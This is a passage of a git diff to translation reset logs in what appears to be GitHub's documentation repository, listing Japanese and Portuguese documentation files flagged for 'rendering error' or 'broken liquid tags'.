-translations/ja-JP/content/organizations/managing-organization-settings/transferring-organization-ownership.md,rendering error
-translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,rendering error
-translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md,rendering error
-translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md,rendering error
-translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/index.md,rendering error
-translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/about-teams.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/creating-a-team.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/index.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md,rendering error
-translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,rendering error
-translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md,rendering error
-translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md,rendering error
-translations/ja-JP/content/packages/learn-github-packages/about-permissions-for-github-packages.md,rendering error
-translations/ja-JP/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,rendering error
-translations/ja-JP/content/packages/learn-github-packages/deleting-a-package.md,rendering error
-translations/ja-JP/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,rendering error
-translations/ja-JP/content/packages/learn-github-packages/installing-a-package.md,rendering error
-translations/ja-JP/content/packages/learn-github-packages/introduction-to-github-packages.md,rendering error
-translations/ja-JP/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,rendering error
-translations/ja-JP/content/packages/quickstart.md,rendering error
-translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,rendering error
-translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,rendering error
-translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,rendering error
-translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,rendering error
-translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,rendering error
-translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,rendering error
-translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,rendering error
-translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md,rendering error
-translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md,rendering error
-translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/about-github-pages.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/index.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md,rendering error
-translations/ja-JP/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md,rendering error
-translations/ja-JP/content/pages/index.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md,rendering error
-translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,rendering error
-translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error
-translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,rendering error
-translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error
-translations/ja-JP/content/pull-requests/committing-changes-to-your-project/index.md,rendering error
-translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error
-translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,rendering error
-translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error
-translations/ja-JP/content/repositories/archiving-a-github-repository/backing-up-a-repository.md,rendering error
-translations/ja-JP/content/repositories/archiving-a-github-repository/index.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md,rendering error
-translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,rendering error
-translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error
-translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md,rendering error
-translations/ja-JP/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md,rendering error
-translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error
-translations/ja-JP/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md,rendering error
-translations/ja-JP/content/repositories/creating-and-managing-repositories/renaming-a-repository.md,rendering error
-translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error
-translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error
-translations/ja-JP/content/repositories/releasing-projects-on-github/about-releases.md,rendering error
-translations/ja-JP/content/repositories/releasing-projects-on-github/index.md,rendering error
-translations/ja-JP/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,rendering error
-translations/ja-JP/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md,rendering error
-translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md,rendering error
-translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md,rendering error
-translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-files/editing-files.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/using-files/navigating-code-on-github.md,rendering error
-translations/ja-JP/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md,rendering error
-translations/ja-JP/content/rest/guides/best-practices-for-integrators.md,rendering error
-translations/ja-JP/content/rest/guides/building-a-ci-server.md,rendering error
-translations/ja-JP/content/rest/guides/delivering-deployments.md,rendering error
-translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md,rendering error
-translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md,rendering error
-translations/ja-JP/content/rest/guides/index.md,rendering error
-translations/ja-JP/content/rest/guides/rendering-data-as-graphs.md,rendering error
-translations/ja-JP/content/rest/guides/traversing-with-pagination.md,rendering error
-translations/ja-JP/content/rest/guides/working-with-comments.md,rendering error
-translations/ja-JP/content/rest/index.md,rendering error
-translations/ja-JP/content/rest/overview/api-previews.md,rendering error
-translations/ja-JP/content/rest/overview/libraries.md,rendering error
-translations/ja-JP/content/rest/overview/resources-in-the-rest-api.md,rendering error
-translations/ja-JP/content/rest/reference/actions.md,rendering error
-translations/ja-JP/content/rest/reference/activity.md,rendering error
-translations/ja-JP/content/rest/reference/branches.md,rendering error
-translations/ja-JP/content/rest/reference/collaborators.md,rendering error
-translations/ja-JP/content/rest/reference/commits.md,rendering error
-translations/ja-JP/content/rest/reference/deployments.md,rendering error
-translations/ja-JP/content/rest/reference/enterprise-admin.md,rendering error
-translations/ja-JP/content/rest/reference/index.md,rendering error
-translations/ja-JP/content/rest/reference/issues.md,rendering error
-translations/ja-JP/content/rest/reference/packages.md,rendering error
-translations/ja-JP/content/rest/reference/pages.md,rendering error
-translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md,rendering error
-translations/ja-JP/content/rest/reference/pulls.md,rendering error
-translations/ja-JP/content/rest/reference/releases.md,rendering error
-translations/ja-JP/content/rest/reference/repos.md,rendering error
-translations/ja-JP/content/rest/reference/repository-metrics.md,rendering error
-translations/ja-JP/content/rest/reference/search.md,rendering error
-translations/ja-JP/content/rest/reference/secret-scanning.md,rendering error
-translations/ja-JP/content/rest/reference/teams.md,rendering error
-translations/ja-JP/content/rest/reference/webhooks.md,rendering error
-translations/ja-JP/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,rendering error
-translations/ja-JP/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,rendering error
-translations/ja-JP/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md,rendering error
-translations/ja-JP/content/search-github/index.md,rendering error
-translations/ja-JP/content/search-github/searching-on-github/searching-commits.md,rendering error
-translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md,rendering error
-translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md,rendering error
-translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error
-translations/ja-JP/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,rendering error
-translations/ja-JP/content/sponsors/guides.md,rendering error
-translations/ja-JP/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md,rendering error
+translations/ja-JP/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,broken liquid tags
+translations/ja-JP/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags
+translations/ja-JP/content/packages/learn-github-packages/deleting-a-package.md,broken liquid tags
+translations/ja-JP/content/packages/learn-github-packages/installing-a-package.md,broken liquid tags
+translations/ja-JP/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags
+translations/ja-JP/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,broken liquid tags
+translations/ja-JP/content/packages/quickstart.md,broken liquid tags
+translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags
+translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags
+translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags
+translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,broken liquid tags
+translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags
+translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,broken liquid tags
+translations/ja-JP/content/pages/getting-started-with-github-pages/about-github-pages.md,broken liquid tags
+translations/ja-JP/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md,broken liquid tags
+translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md,broken liquid tags
+translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags
+translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags
+translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,broken liquid tags
+translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md,broken liquid tags
+translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,broken liquid tags
+translations/ja-JP/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md,broken liquid tags
+translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md,broken liquid tags
+translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md,broken liquid tags
+translations/ja-JP/content/rest/reference/activity.md,broken liquid tags
+translations/ja-JP/content/rest/reference/enterprise-admin.md,broken liquid tags
+translations/ja-JP/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,broken liquid tags
+translations/ja-JP/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md,broken liquid tags
 translations/ja-JP/data/learning-tracks/admin.yml,broken liquid tags
 translations/ja-JP/data/release-notes/enterprise-server/2-20/10.yml,broken liquid tags
 translations/ja-JP/data/release-notes/enterprise-server/2-20/15.yml,Listed in localization-support#489
diff --git a/translations/log/pt-resets.csv b/translations/log/pt-resets.csv
index 05f8194834..a5ef1529a6 100644
--- a/translations/log/pt-resets.csv
+++ b/translations/log/pt-resets.csv
@@ -1,956 +1,59 @@
 file,reason
-translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md,rendering error
-translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md,rendering error
-translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md,rendering error
-translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md,rendering error
-translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error
-translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md,rendering error
-translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md,rendering error
-translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md,rendering error
-translations/pt-BR/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error
-translations/pt-BR/content/actions/advanced-guides/index.md,rendering error
-translations/pt-BR/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,rendering error
-translations/pt-BR/content/actions/advanced-guides/using-github-cli-in-workflows.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/about-continuous-integration.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-net.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-powershell.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-ruby.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-swift.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md,rendering error
-translations/pt-BR/content/actions/automating-builds-and-tests/index.md,rendering error
-translations/pt-BR/content/actions/creating-actions/about-custom-actions.md,rendering error
-translations/pt-BR/content/actions/creating-actions/creating-a-composite-action.md,rendering error
-translations/pt-BR/content/actions/creating-actions/creating-a-docker-container-action.md,rendering error
